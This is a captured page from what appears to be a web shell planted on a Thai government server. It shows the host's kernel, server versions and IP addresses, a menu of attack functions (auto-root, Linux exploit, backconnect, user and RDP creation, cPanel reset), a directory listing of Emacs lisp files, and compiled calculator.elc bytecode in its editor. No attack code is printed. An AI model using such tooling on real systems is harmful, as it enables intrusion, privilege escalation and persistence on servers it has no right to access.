Linux ns8.secondary29.go.th 2.6.32-754.28.1.el6.x86_64 #1 SMP Wed Mar 11 18:38:45 UTC 2020 x86_64
Apache/2.2.15 (CentOS)
: 122.154.134.11 | : 122.154.134.9
Cant Read [ /etc/named.conf ]
5.6.40
apache
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
emacs /
23.1 /
lisp /
[ HOME SHELL ]
Name
Size
Permission
Action
calc
[ DIR ]
drwxr-xr-x
calendar
[ DIR ]
drwxr-xr-x
emacs-lisp
[ DIR ]
drwxr-xr-x
emulation
[ DIR ]
drwxr-xr-x
erc
[ DIR ]
drwxr-xr-x
eshell
[ DIR ]
drwxr-xr-x
gnus
[ DIR ]
drwxr-xr-x
international
[ DIR ]
drwxr-xr-x
language
[ DIR ]
drwxr-xr-x
mail
[ DIR ]
drwxr-xr-x
mh-e
[ DIR ]
drwxr-xr-x
net
[ DIR ]
drwxr-xr-x
nxml
[ DIR ]
drwxr-xr-x
obsolete
[ DIR ]
drwxr-xr-x
org
[ DIR ]
drwxr-xr-x
play
[ DIR ]
drwxr-xr-x
progmodes
[ DIR ]
drwxr-xr-x
term
[ DIR ]
drwxr-xr-x
textmodes
[ DIR ]
drwxr-xr-x
url
[ DIR ]
drwxr-xr-x
COPYING
34.32
KB
-rw-r--r--
README
538
B
-rw-r--r--
abbrev.elc
29.69
KB
-rw-r--r--
abbrevlist.elc
1.12
KB
-rw-r--r--
add-log.elc
35.21
KB
-rw-r--r--
align.elc
38.38
KB
-rw-r--r--
allout.elc
208.3
KB
-rw-r--r--
ansi-color.elc
16.3
KB
-rw-r--r--
apropos.elc
31.93
KB
-rw-r--r--
arc-mode.elc
54.72
KB
-rw-r--r--
array.elc
25.83
KB
-rw-r--r--
autoarg.elc
5.98
KB
-rw-r--r--
autoinsert.elc
12.01
KB
-rw-r--r--
autorevert.elc
18.25
KB
-rw-r--r--
avoid.elc
10.17
KB
-rw-r--r--
battery.elc
17.98
KB
-rw-r--r--
bindings.elc
39.04
KB
-rw-r--r--
bookmark.elc
55.9
KB
-rw-r--r--
bs.elc
48.34
KB
-rw-r--r--
buff-menu.elc
28
KB
-rw-r--r--
button.elc
13.92
KB
-rw-r--r--
calculator.elc
49.18
KB
-rw-r--r--
case-table.elc
4.42
KB
-rw-r--r--
cdl.elc
1.26
KB
-rw-r--r--
chistory.elc
5.75
KB
-rw-r--r--
cmuscheme.elc
17.43
KB
-rw-r--r--
comint.elc
100.97
KB
-rw-r--r--
compare-w.elc
10.98
KB
-rw-r--r--
complete.elc
23.62
KB
-rw-r--r--
completion.elc
45.06
KB
-rw-r--r--
composite.elc
29.39
KB
-rw-r--r--
cus-dep.elc
5.04
KB
-rw-r--r--
cus-edit.elc
129.67
KB
-rw-r--r--
cus-face.elc
10.46
KB
-rw-r--r--
cus-load.el
63.45
KB
-rw-r--r--
cus-start.elc
10.67
KB
-rw-r--r--
cus-theme.elc
13.7
KB
-rw-r--r--
custom.elc
36.46
KB
-rw-r--r--
cvs-status.elc
23
KB
-rw-r--r--
dabbrev.elc
23.08
KB
-rw-r--r--
delim-col.elc
8.41
KB
-rw-r--r--
delsel.elc
5.24
KB
-rw-r--r--
descr-text.elc
20.69
KB
-rw-r--r--
desktop.elc
34.52
KB
-rw-r--r--
dframe.elc
22.51
KB
-rw-r--r--
diff-mode.elc
55.58
KB
-rw-r--r--
diff.elc
5.51
KB
-rw-r--r--
dired-aux.elc
67.5
KB
-rw-r--r--
dired-x.elc
44.96
KB
-rw-r--r--
dired.elc
96.48
KB
-rw-r--r--
dirtrack.elc
7.39
KB
-rw-r--r--
disp-table.elc
8.33
KB
-rw-r--r--
dnd.elc
7.04
KB
-rw-r--r--
doc-view.elc
36.01
KB
-rw-r--r--
dos-fns.elc
5.53
KB
-rw-r--r--
dos-vars.elc
1.24
KB
-rw-r--r--
dos-w32.elc
11.12
KB
-rw-r--r--
double.elc
4.13
KB
-rw-r--r--
ebuff-menu.elc
9.11
KB
-rw-r--r--
echistory.elc
4.93
KB
-rw-r--r--
ediff-diff.elc
35.54
KB
-rw-r--r--
ediff-help.elc
11.47
KB
-rw-r--r--
ediff-hook.elc
5.89
KB
-rw-r--r--
ediff-init.elc
60.88
KB
-rw-r--r--
ediff-merg.elc
10.04
KB
-rw-r--r--
ediff-mult.elc
58.31
KB
-rw-r--r--
ediff-ptch.elc
18.63
KB
-rw-r--r--
ediff-util.elc
118.44
KB
-rw-r--r--
ediff-vers.elc
4.74
KB
-rw-r--r--
ediff-wind.elc
30.56
KB
-rw-r--r--
ediff.elc
36.28
KB
-rw-r--r--
edmacro.elc
21.45
KB
-rw-r--r--
ehelp.elc
11.03
KB
-rw-r--r--
electric.elc
2.81
KB
-rw-r--r--
elide-head.elc
2.8
KB
-rw-r--r--
emacs-lock.elc
2.77
KB
-rw-r--r--
emerge.elc
80.16
KB
-rw-r--r--
env.elc
5.69
KB
-rw-r--r--
epa-dired.elc
1.87
KB
-rw-r--r--
epa-file.elc
6.77
KB
-rw-r--r--
epa-hook.elc
4.28
KB
-rw-r--r--
epa-mail.elc
7.04
KB
-rw-r--r--
epa.elc
34.03
KB
-rw-r--r--
epg-config.elc
4.01
KB
-rw-r--r--
epg.elc
85.05
KB
-rw-r--r--
expand.elc
9.42
KB
-rw-r--r--
ezimage.elc
9.2
KB
-rw-r--r--
face-remap.elc
13.15
KB
-rw-r--r--
facemenu.elc
23.61
KB
-rw-r--r--
faces.elc
81.51
KB
-rw-r--r--
ffap.elc
46.14
KB
-rw-r--r--
filecache.elc
16.1
KB
-rw-r--r--
files.elc
175.25
KB
-rw-r--r--
filesets.elc
73.03
KB
-rw-r--r--
find-cmd.elc
4.94
KB
-rw-r--r--
find-dired.elc
7.4
KB
-rw-r--r--
find-file.elc
18.68
KB
-rw-r--r--
find-lisp.elc
7.42
KB
-rw-r--r--
finder-inf.el
93.47
KB
-rw-r--r--
finder.elc
12.11
KB
-rw-r--r--
flow-ctrl.elc
2.44
KB
-rw-r--r--
foldout.elc
7.6
KB
-rw-r--r--
follow.elc
37.11
KB
-rw-r--r--
font-core.elc
12.92
KB
-rw-r--r--
font-lock.elc
61.1
KB
-rw-r--r--
format-spec.elc
1.98
KB
-rw-r--r--
format.elc
27.73
KB
-rw-r--r--
forms-d2.el
3.13
KB
-rw-r--r--
forms-pass.el
742
B
-rw-r--r--
forms.elc
35.13
KB
-rw-r--r--
frame.elc
48.66
KB
-rw-r--r--
fringe.elc
8.01
KB
-rw-r--r--
generic-x.elc
44.25
KB
-rw-r--r--
gs.elc
3.93
KB
-rw-r--r--
help-at-pt.elc
11.27
KB
-rw-r--r--
help-fns.elc
21.77
KB
-rw-r--r--
help-macro.elc
4.37
KB
-rw-r--r--
help-mode.elc
19.38
KB
-rw-r--r--
help.elc
40.91
KB
-rw-r--r--
hex-util.elc
1.48
KB
-rw-r--r--
hexl.elc
32.06
KB
-rw-r--r--
hi-lock.elc
23.27
KB
-rw-r--r--
hilit-chg.elc
28.02
KB
-rw-r--r--
hippie-exp.elc
23.39
KB
-rw-r--r--
hl-line.elc
7.71
KB
-rw-r--r--
ibuf-ext.elc
54.62
KB
-rw-r--r--
ibuf-macs.elc
11.65
KB
-rw-r--r--
ibuffer.elc
91.96
KB
-rw-r--r--
icomplete.elc
10.36
KB
-rw-r--r--
ido.elc
110.93
KB
-rw-r--r--
ielm.elc
17.67
KB
-rw-r--r--
iimage.elc
4.06
KB
-rw-r--r--
image-dired.elc
82.24
KB
-rw-r--r--
image-file.elc
6.11
KB
-rw-r--r--
image-mode.elc
14.54
KB
-rw-r--r--
image.elc
17.09
KB
-rw-r--r--
imenu.elc
24.8
KB
-rw-r--r--
indent.elc
17
KB
-rw-r--r--
info-look.elc
26.13
KB
-rw-r--r--
info-xref.elc
7.04
KB
-rw-r--r--
info.elc
119.11
KB
-rw-r--r--
informat.elc
9.69
KB
-rw-r--r--
isearch.elc
76.23
KB
-rw-r--r--
isearchb.elc
4.92
KB
-rw-r--r--
iswitchb.elc
32.11
KB
-rw-r--r--
jit-lock.elc
17.93
KB
-rw-r--r--
jka-cmpr-hook.elc
11.67
KB
-rw-r--r--
jka-compr.elc
12.64
KB
-rw-r--r--
json.elc
13.04
KB
-rw-r--r--
kermit.elc
2.96
KB
-rw-r--r--
kmacro.elc
31.07
KB
-rw-r--r--
ldefs-boot.el
1.17
MB
-rw-r--r--
ledit.elc
4.74
KB
-rw-r--r--
linum.elc
9.56
KB
-rw-r--r--
loaddefs.el
1.17
MB
-rw-r--r--
loadhist.elc
8.65
KB
-rw-r--r--
loadup.el
12.67
KB
-rw-r--r--
locate.elc
17.81
KB
-rw-r--r--
log-edit.elc
24.93
KB
-rw-r--r--
log-view.elc
14.06
KB
-rw-r--r--
longlines.elc
14.94
KB
-rw-r--r--
lpr.elc
8.61
KB
-rw-r--r--
ls-lisp.elc
17.35
KB
-rw-r--r--
macros.elc
6.99
KB
-rw-r--r--
makesum.elc
2.16
KB
-rw-r--r--
man.elc
40.03
KB
-rw-r--r--
master.elc
4.52
KB
-rw-r--r--
mb-depth.elc
3.12
KB
-rw-r--r--
md4.elc
8.14
KB
-rw-r--r--
menu-bar.elc
67.01
KB
-rw-r--r--
midnight.elc
8.92
KB
-rw-r--r--
minibuf-eldef.elc
5.15
KB
-rw-r--r--
minibuffer.elc
42.75
KB
-rw-r--r--
misc.elc
3.67
KB
-rw-r--r--
misearch.elc
8.96
KB
-rw-r--r--
mouse-copy.elc
4.07
KB
-rw-r--r--
mouse-drag.elc
7.33
KB
-rw-r--r--
mouse-sel.elc
20.93
KB
-rw-r--r--
mouse.elc
60.03
KB
-rw-r--r--
msb.elc
27.27
KB
-rw-r--r--
mwheel.elc
9.41
KB
-rw-r--r--
newcomment.elc
32.76
KB
-rw-r--r--
novice.elc
4.75
KB
-rw-r--r--
outline.elc
34.54
KB
-rw-r--r--
paren.elc
6.43
KB
-rw-r--r--
password-cache.elc
3.58
KB
-rw-r--r--
patcomp.el
775
B
-rw-r--r--
paths.el
7.28
KB
-rw-r--r--
pcmpl-cvs.elc
6
KB
-rw-r--r--
pcmpl-gnu.elc
8.21
KB
-rw-r--r--
pcmpl-linux.elc
3.17
KB
-rw-r--r--
pcmpl-rpm.elc
7.5
KB
-rw-r--r--
pcmpl-unix.elc
5.44
KB
-rw-r--r--
pcomplete.elc
34.1
KB
-rw-r--r--
pcvs-defs.elc
16.27
KB
-rw-r--r--
pcvs-info.elc
25.83
KB
-rw-r--r--
pcvs-parse.elc
15.34
KB
-rw-r--r--
pcvs-util.elc
26.8
KB
-rw-r--r--
pcvs.elc
85.52
KB
-rw-r--r--
pgg-def.elc
2.78
KB
-rw-r--r--
pgg-gpg.elc
13.09
KB
-rw-r--r--
pgg-parse.elc
13.45
KB
-rw-r--r--
pgg-pgp.elc
7.64
KB
-rw-r--r--
pgg-pgp5.elc
7.68
KB
-rw-r--r--
pgg.elc
18.01
KB
-rw-r--r--
printing.elc
157.56
KB
-rw-r--r--
proced.elc
57.95
KB
-rw-r--r--
ps-bdf.elc
13.34
KB
-rw-r--r--
ps-def.elc
3.09
KB
-rw-r--r--
ps-mule.elc
36.17
KB
-rw-r--r--
ps-print.elc
145.59
KB
-rw-r--r--
ps-samp.elc
5.5
KB
-rw-r--r--
recentf.elc
49.04
KB
-rw-r--r--
rect.elc
10.79
KB
-rw-r--r--
register.elc
10.69
KB
-rw-r--r--
repeat.elc
6.05
KB
-rw-r--r--
replace.elc
55.02
KB
-rw-r--r--
reposition.elc
2.88
KB
-rw-r--r--
reveal.elc
6.61
KB
-rw-r--r--
rfn-eshadow.elc
7.12
KB
-rw-r--r--
rot13.elc
2.6
KB
-rw-r--r--
ruler-mode.elc
22.48
KB
-rw-r--r--
s-region.elc
3.3
KB
-rw-r--r--
savehist.elc
10.57
KB
-rw-r--r--
saveplace.elc
7.51
KB
-rw-r--r--
sb-image.elc
2.51
KB
-rw-r--r--
scroll-all.elc
4.05
KB
-rw-r--r--
scroll-bar.elc
11.47
KB
-rw-r--r--
scroll-lock.elc
4.64
KB
-rw-r--r--
select.elc
11.8
KB
-rw-r--r--
server.elc
39.79
KB
-rw-r--r--
ses.elc
87.39
KB
-rw-r--r--
sha1.elc
8
KB
-rw-r--r--
shadowfile.elc
22.61
KB
-rw-r--r--
shell.elc
34.08
KB
-rw-r--r--
simple.elc
196.35
KB
-rw-r--r--
skeleton.elc
15.78
KB
-rw-r--r--
smerge-mode.elc
33.61
KB
-rw-r--r--
sort.elc
12.94
KB
-rw-r--r--
soundex.elc
1.34
KB
-rw-r--r--
speedbar.elc
115.06
KB
-rw-r--r--
startup.elc
60.78
KB
-rw-r--r--
strokes.elc
44.11
KB
-rw-r--r--
subdirs.el
426
B
-rw-r--r--
subr.elc
113.48
KB
-rw-r--r--
t-mouse.elc
3.38
KB
-rw-r--r--
tabify.elc
2
KB
-rw-r--r--
talk.elc
3.19
KB
-rw-r--r--
tar-mode.elc
52.24
KB
-rw-r--r--
tempo.elc
18.63
KB
-rw-r--r--
term.elc
99.67
KB
-rw-r--r--
terminal.elc
31.36
KB
-rw-r--r--
thingatpt.elc
10.84
KB
-rw-r--r--
thumbs.elc
26.23
KB
-rw-r--r--
time-stamp.elc
21.03
KB
-rw-r--r--
time.elc
18.2
KB
-rw-r--r--
timezone.elc
10.99
KB
-rw-r--r--
tmm.elc
13.9
KB
-rw-r--r--
tool-bar.elc
9.69
KB
-rw-r--r--
tooltip.elc
12.35
KB
-rw-r--r--
tree-widget.elc
20.87
KB
-rw-r--r--
tutorial.elc
21.41
KB
-rw-r--r--
type-break.elc
35.61
KB
-rw-r--r--
uniquify.elc
19.91
KB
-rw-r--r--
userlock.elc
4.69
KB
-rw-r--r--
vc-annotate.elc
22.68
KB
-rw-r--r--
vc-arch.elc
17.58
KB
-rw-r--r--
vc-bzr.elc
26.84
KB
-rw-r--r--
vc-cvs.elc
32.19
KB
-rw-r--r--
vc-dav.elc
5.3
KB
-rw-r--r--
vc-dir.elc
39.5
KB
-rw-r--r--
vc-dispatcher.elc
14.61
KB
-rw-r--r--
vc-git.elc
32.75
KB
-rw-r--r--
vc-hg.elc
25.95
KB
-rw-r--r--
vc-hooks.elc
32.75
KB
-rw-r--r--
vc-mtn.elc
10.95
KB
-rw-r--r--
vc-rcs.elc
34.99
KB
-rw-r--r--
vc-sccs.elc
13.24
KB
-rw-r--r--
vc-svn.elc
20.57
KB
-rw-r--r--
vc.elc
59.4
KB
-rw-r--r--
vcursor.elc
23.44
KB
-rw-r--r--
version.el
3.37
KB
-rw-r--r--
view.elc
35.96
KB
-rw-r--r--
vt-control.elc
2.06
KB
-rw-r--r--
vt100-led.elc
1.53
KB
-rw-r--r--
w32-fns.elc
15.82
KB
-rw-r--r--
w32-vars.elc
5.53
KB
-rw-r--r--
wdired.elc
21.69
KB
-rw-r--r--
whitespace.elc
59.83
KB
-rw-r--r--
wid-browse.elc
7.89
KB
-rw-r--r--
wid-edit.elc
104.76
KB
-rw-r--r--
widget.elc
1.37
KB
-rw-r--r--
windmove.elc
9.57
KB
-rw-r--r--
window.elc
57.4
KB
-rw-r--r--
winner.elc
11.61
KB
-rw-r--r--
woman.elc
107.73
KB
-rw-r--r--
x-dnd.elc
19.35
KB
-rw-r--r--
xml.elc
18.38
KB
-rw-r--r--
xt-mouse.elc
7.43
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : calculator.elc
;ELC ;;; Compiled by mockbuild@c6b8.bsys.dev.centos.org on Thu Feb 19 13:02:41 2015 ;;; from file /builddir/build/BUILD/emacs-23.1/lisp/calculator.el ;;; in Emacs version 23.1.1 ;;; with all optimizations. ;;; This file uses dynamic docstrings, first added in Emacs 19.29. (if (and (boundp 'emacs-version) (< (aref emacs-version (1- (length emacs-version))) ?A) (or (and (boundp 'epoch::version) epoch::version) (string-lessp emacs-version "19.29"))) (error "`calculator.el' was compiled for Emacs 19.29 or later")) ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; (custom-declare-group 'calculator nil "Simple Emacs calculator." :prefix "calculator" :version "21.1" :group 'tools :group 'convenience) #@135 Run `calculator' electrically, in the echo area. Electric mode saves some place but changes the way you interact with the calculator. (custom-declare-variable 'calculator-electric-mode 'nil '(#$ . 749) :type 'boolean :group 'calculator) #@97 Make `calculator' create a menu. Note that this requires easymenu. Must be set before loading. (custom-declare-variable 'calculator-use-menu 't '(#$ . 992) :type 'boolean :group 'calculator) #@48 If non-nil, set escape to exit the calculator. (custom-declare-variable 'calculator-bind-escape 'nil '(#$ . 1190) :type 'boolean :group 'calculator) #@95 Value is either 'prefix or 'postfix. This determines the default behavior of unary operators. (custom-declare-variable 'calculator-unary-style ''postfix '(#$ . 1345) :type '(choice (const prefix) (const postfix)) :group 'calculator) #@206 The prompt used by the Emacs calculator. It should contain a "%s" somewhere that will indicate the i/o radixes; this will be a two-character string as described in the documentation for `calculator-mode'. (custom-declare-variable 'calculator-prompt '"Calc=%s> " '(#$ . 1585) :type 'string :group 'calculator) #@214 The calculator's number of digits used for standard display. Used by the `calculator-standard-display' function - it will use the format string "%.NC" where this number is N and C is a character given at runtime. (custom-declare-variable 'calculator-number-digits '3 '(#$ . 1901) :type 'integer :group 'calculator) #@252 Use digit grouping in radix output mode. If this is set, chunks of `calculator-radix-grouping-digits' characters will be separated by `calculator-radix-grouping-separator' when in radix output mode is active (determined by `calculator-output-radix'). (custom-declare-variable 'calculator-radix-grouping-mode 't '(#$ . 2223) :type 'boolean :group 'calculator) #@102 The number of digits used for grouping display in radix modes. See `calculator-radix-grouping-mode'. (custom-declare-variable 'calculator-radix-grouping-digits '4 '(#$ . 2589) :type 'integer :group 'calculator) #@85 The separator used in radix grouping display. See `calculator-radix-grouping-mode'. (custom-declare-variable 'calculator-radix-grouping-separator '"'" '(#$ . 2806) :type 'string :group 'calculator) #@229 Non-nil value means delete all redundant zero decimal digits. If this value is not t, and not nil, redundant zeros are removed except for one and if it is nil, nothing is removed. Used by the `calculator-remove-zeros' function. (custom-declare-variable 'calculator-remove-zeros 't '(#$ . 3011) :type '(choice (const t) (const leave-decimal) (const nil)) :group 'calculator) #@921 A displayer specification for numerical values. This is the displayer used to show all numbers in an expression. Result values will be displayed according to the first element of `calculator-displayers'. The displayer is a symbol, a string or an expression. A symbol should be the name of a one-argument function, a string is used with a single argument and an expression will be evaluated with the variable `num' bound to whatever should be displayed. If it is a function symbol, it should be able to handle special symbol arguments, currently 'left and 'right which will be sent by special keys to modify display parameters associated with the displayer function (for example to change the number of digits displayed). An exception to the above is the case of the list (std C) where C is a character, in this case the `calculator-standard-displayer' function will be used with this character for a format string. (custom-declare-variable 'calculator-displayer ''(std 110) '(#$ . 3392) :group 'calculator) #@359 A list of displayers. Each element is a list of a displayer and a description string. The first element is the one which is currently used, this is for the display of result values not values in expressions. A displayer specification is the same as the values that can be stored in `calculator-displayer'. `calculator-rotate-displayer' rotates this list. (custom-declare-variable 'calculator-displayers ''(((std 110) "Standard display, decimal point or scientific") (calculator-eng-display "Eng display") ((std 102) "Standard display, decimal point") ((std 101) "Standard display, scientific") ("%S" "Emacs printer")) '(#$ . 4411) :type 'sexp :group 'calculator) #@193 If non-nil, convert pasted integers so they have a decimal point. This makes it possible to paste big integers since they will be read as floats, otherwise the Emacs reader will fail on them. (custom-declare-variable 'calculator-paste-decimals 't '(#$ . 5084) :type 'boolean :group 'calculator) #@197 If non-nil, this is any value that can be used for `calculator-displayer', to format a string before copying it with `calculator-copy'. If nil, then `calculator-displayer's normal value is used. (custom-declare-variable 'calculator-copy-displayer 'nil '(#$ . 5386) :type 'boolean :group 'calculator) #@105 If non-nil, show negative numbers in 2s complement in radix modes. Otherwise show as a negative number. (custom-declare-variable 'calculator-2s-complement 'nil '(#$ . 5694) :type 'boolean :group 'calculator) #@303 List of hook functions for `calculator-mode' to run. Note: if `calculator-electric-mode' is on, then this hook will get activated in the minibuffer - in that case it should not do much more than local key settings and other effects that will change things outside the scope of calculator related code. (custom-declare-variable 'calculator-mode-hook 'nil '(#$ . 5909) :type 'hook :group 'calculator) #@316 An association list of user-defined register bindings. Each element in this list is a list of a character and a number that will be stored in that character's register. For example, use this to define the golden ratio number: (setq calculator-user-registers '((?g . 1.61803398875))) before you load calculator. (custom-declare-variable 'calculator-user-registers 'nil '(#$ . 6315) :type '(repeat (cons character number)) :set '(lambda (_ val) (and (boundp 'calculator-registers) (setq calculator-registers (append val calculator-registers))) (setq calculator-user-registers val)) :group 'calculator) #@1214 A list of additional operators. This is a list in the same format as specified in the documentation for `calculator-operators', that you can use to bind additional calculator operators. It is probably not a good idea to modify this value with `customize' since it is too complex... Examples: * A very simple one, adding a postfix "x-to-y" conversion keys, using t as a prefix key: (setq calculator-user-operators '(("tf" cl-to-fr (+ 32 (/ (* X 9) 5)) 1) ("tc" fr-to-cl (/ (* (- X 32) 5) 9) 1) ("tp" kg-to-lb (/ X 0.453592) 1) ("tk" lb-to-kg (* X 0.453592) 1) ("tF" mt-to-ft (/ X 0.3048) 1) ("tM" ft-to-mt (* X 0.3048) 1))) * Using a function-like form is very simple, X for an argument (Y the second in case of a binary operator), TX is a truncated version of X and F does a recursive call, Here is a [very inefficient] Fibonacci number calculation: (add-to-list 'calculator-user-operators '("F" fib (if (<= TX 1) 1 (+ (F (- TX 1)) (F (- TX 2)))) 0)) Note that this will be either postfix or prefix, according to `calculator-unary-style'. (custom-declare-variable 'calculator-user-operators 'nil '(#$ . 6927) :type '(repeat (list string symbol sexp integer integer)) :group 'calculator) #@418 A list of initial operators. This is a list in the same format as `calculator-operators'. Whenever `calculator' starts, it looks at the value of this variable, and if it is not empty, its contents is prepended to `calculator-operators' and the appropriate key bindings are made. This variable is then reset to nil. Don't use this if you want to add user-defined operators, use `calculator-user-operators' instead. (defvar calculator-initial-operators '(("=" = identity 1 -1) (nobind "+" + + 2 4) (nobind "-" - - 2 4) (nobind "+" + + -1 9) (nobind "-" - - -1 9) ("(" \( identity -1 -1) (")" \) identity 1 10) ("|" or (logior TX TY) 2 2) ("#" xor (logxor TX TY) 2 2) ("&" and (logand TX TY) 2 3) ("*" * * 2 5) ("/" / / 2 5) ("\\" div (/ TX TY) 2 5) ("%" rem (% TX TY) 2 5) ("L" log log 2 6) ("S" sin (sin DX) x 6) ("C" cos (cos DX) x 6) ("T" tan (tan DX) x 6) ("IS" asin (D (asin X)) x 6) ("IC" acos (D (acos X)) x 6) ("IT" atan (D (atan X)) x 6) ("Q" sqrt sqrt x 7) ("^" ^ calculator-expt 2 7) ("!" ! calculator-fact x 7) (";" 1/ (/ 1 X) 1 7) ("_" - - 1 8) ("~" ~ (lognot TX) x 8) (">" repR calculator-repR 1 8) ("<" repL calculator-repL 1 8) ("v" avg (/ (apply '+ L) (length L)) 0 8) ("l" tot (apply '+ L) 0 8)) (#$ . 8295)) #@1235 The calculator operators, each a list with: 1. The key that is bound to for this operation (usually a string); 2. The displayed symbol for this function; 3. The function symbol, or a form that uses the variables `X' and `Y', (if it is a binary operator), `TX' and `TY' (truncated integer versions), `DX' (converted to radians if degrees mode is on), `D' (function for converting radians to degrees if deg mode is on), `L' (list of saved values), `F' (function for recursive iteration calls) and evaluates to the function value - these variables are capital; 4. The function's arity, optional, one of: 2 => binary, -1 => prefix unary, +1 => postfix unary, 0 => a 0-arg operator func, non-number => postfix/prefix as determined by `calculator-unary-style' (the default); 5. The function's precedence - should be in the range of 1 (lowest) to 9 (highest) (optional, defaults to 1); It it possible have a unary prefix version of a binary operator if it comes later in this list. If the list begins with the symbol 'nobind, then no key binding will take place - this is only useful for predefined keys. Use `calculator-user-operators' to add operators to this list, see its documentation for an example. (defvar calculator-operators nil (#$ . 9531)) #@43 Stack contents - operations and operands. (defvar calculator-stack nil (#$ . 10817)) #@45 Current number being entered (as a string). (defvar calculator-curnum nil (#$ . 10908)) #@50 Cons of the stack and its string representation. (defvar calculator-stack-display nil (#$ . 11002)) #@69 A table to convert input characters to corresponding radix symbols. (defvar calculator-char-radix '((68) (66 . bin) (79 . oct) (72 . hex) (88 . hex)) (#$ . 11108)) #@66 The mode for display, one of: nil (decimal), 'bin, 'oct or 'hex. (defvar calculator-output-radix nil (#$ . 11278)) #@64 The mode for input, one of: nil (decimal), 'bin, 'oct or 'hex. (defvar calculator-input-radix nil (#$ . 11399)) #@66 Non-nil if trig functions operate on degrees instead of radians. (defvar calculator-deg nil (#$ . 11517)) #@35 A list of saved values collected. (defvar calculator-saved-list nil (#$ . 11629)) #@42 The pointer to the current saved number. (defvar calculator-saved-ptr 0 (#$ . 11717)) #@60 Bound to t when a value should be added to the saved-list. (defvar calculator-add-saved nil (#$ . 11809)) #@68 When non-nil, we see something that the next digit should replace. (defvar calculator-display-fragile nil (#$ . 11921)) #@32 The current calculator buffer. (defvar calculator-buffer nil (#$ . 12047)) #@50 Internal value used by `calculator-eng-display'. (defvar calculator-eng-extra nil (#$ . 12128)) #@50 Internal value used by `calculator-eng-display'. (defvar calculator-eng-tmp-show nil (#$ . 12230)) #@98 The last binary operation and its arguments. Used for repeating operations in calculator-repR/L. (defvar calculator-last-opXY nil (#$ . 12335)) #@53 The association list of calculator register values. (defvar calculator-registers (byte-code "\303\304 B\305\nBD\"\207" [calculator-user-registers e pi append 101 112] 5) (#$ . 12485)) #@23 Saved global key map. (defvar calculator-saved-global-map nil (#$ . 12676)) #@57 Used to hack restarting with the electric mode changed. (defvar calculator-restart-other-mode nil (#$ . 12758)) #@25 The calculator key map. (defvar calculator-mode-map nil (#$ . 12876)) (byte-code "\204\217\306 \307 \310\"\210\311 \312\313#\210\311 \314\313#\210\315\n@@\316\n@A!\2036 \311 @\f#\210A\211\204( *\nA\211\204 ) \203R \311 \317\320#\210\311 \321\320#\210\202X \311 \322\320#\210@\204c \311 \323\324#\210A\203\214\325\326!\204\214\327\330\331\"\332BC\326DBD\333\326\334\335#\210\336\326!\204\216 \337\326\313\"\210\340\326 \335\341\342\343\344\345\343\346\347\343\350B\351\352\"B\353\354\"\355B\356\357\"B\360\361\"B\362\363\"B\364\365\"\366B\367\370\"B\371\372\"B\373\374\"B\375\376\"B\377\201F \"B\201G \201H \"\201I B\201J \201K \"B\201L \201M \"B\201N \201O \"B\201P \201Q \"\257\201R \201S \201T \201U \201V \201W \343B\201X \201Y \"B\201Z \201[ \"\257 \201\\ \201] \201^ \201_ \343\201` \327\201a C\"\201b \201` \327\201c C\"\201d \327\201e C\"#BC\"BBBB\201f \201` \327\201g E\"\201h \"B\201i BBBBBBBBBBBBBB$\210* )\313\207" [calculator-mode-map map p keys func calculator-bind-escape make-sparse-keymap suppress-keymap t define-key "i" nil "o" ((calculator-open-paren "[") (calculator-close-paren "]") (calculator-op-or-exp "+" "-" [kp-add] [kp-subtract]) (calculator-digit "0" "1" "2" "3" "4" "5" "6" "7" "8" "9" "a" "b" "c" "d" "f" [kp-0] [kp-1] [kp-2] [kp-3] [kp-4] [kp-5] [kp-6] [kp-7] [kp-8] [kp-9]) (calculator-op [kp-divide] [kp-multiply]) (calculator-decimal "." [kp-decimal]) (calculator-exp "e") (calculator-dec/deg-mode "D") (calculator-set-register "s") (calculator-get-register "g") (calculator-radix-mode "H" "X" "O" "B") (calculator-radix-input-mode "id" "ih" "ix" "io" "ib" "iD" "iH" "iX" "iO" "iB") (calculator-radix-output-mode "od" "oh" "ox" "oo" "ob" "oD" "oH" "oX" "oO" "oB") (calculator-rotate-displayer "'") (calculator-rotate-displayer-back "\"") (calculator-displayer-prev "{") (calculator-displayer-next "}") (calculator-saved-up [up] [16]) (calculator-saved-down [down] [14]) (calculator-quit "q" [7]) (calculator-enter [enter] [linefeed] [kp-enter] [return] [13] [10]) (calculator-save-on-list " " [space]) (calculator-clear-saved [3] [(control delete)]) (calculator-save-and-quit [(control return)] [(control kp-enter)]) (calculator-paste [insert] [(shift insert)] [paste] [mouse-2] [25]) (calculator-clear [delete] [127] [4]) (calculator-help [104] [63] [f1] [help]) (calculator-copy [(control insert)] [copy]) (calculator-backspace [backspace])) reverse [27] calculator-quit [escape] [27 27 27] [8] calculator-backspace boundp calculator-menu mapcar #[(x) "\301@\302\3038D\304\305\306\3038\307\310\311\312\313A@DE\311\314\313A@DEE&\301@\315P\316\3038D\306\317\3038\227P\304\305\307\311\312\313A@DE&\301@\320P\321\3038D\306\322\3038\227P\304\305\307\311\314\313A@DE&E\207" [x vector calculator-radix-mode 2 :style radio :keys :selected and eq calculator-input-radix quote calculator-output-radix " Input" calculator-radix-input-mode "i" " Output" calculator-radix-output-mode "o"] 14] (("Decimal" nil "D") ("Binary" bin "B") ("Octal" oct "O") ("Hexadecimal" hex "H")) (lambda (name key) `[,name (calculator-op ,key) :keys ,key]) put variable-documentation "Calculator menu." default-boundp set-default easy-menu-do-define "Calculator" ["Help" (let ((last-command 'calculator-help)) (calculator-help)) :keys "?"] "---" ["Copy" calculator-copy] ["Paste" calculator-paste] ["Electric mode" (progn (calculator-quit) (setq calculator-restart-other-mode t) (run-with-timer 0.1 nil '(lambda nil (message nil))) (calculator)) :active (not calculator-electric-mode)] ["Normal mode" (progn (setq calculator-restart-other-mode t) (calculator-quit)) :active calculator-electric-mode] "Functions" "Repeat-right" ">" "Repeat-left" "<" "------General------" "Reciprocal" ";" "Log" "L" "Square-root" "Q" "Factorial" "!" "------Trigonometric------" "Sinus" "S" "Cosine" "C" "Tangent" "T" "Inv-Sinus" "IS" "Inv-Cosine" window-system 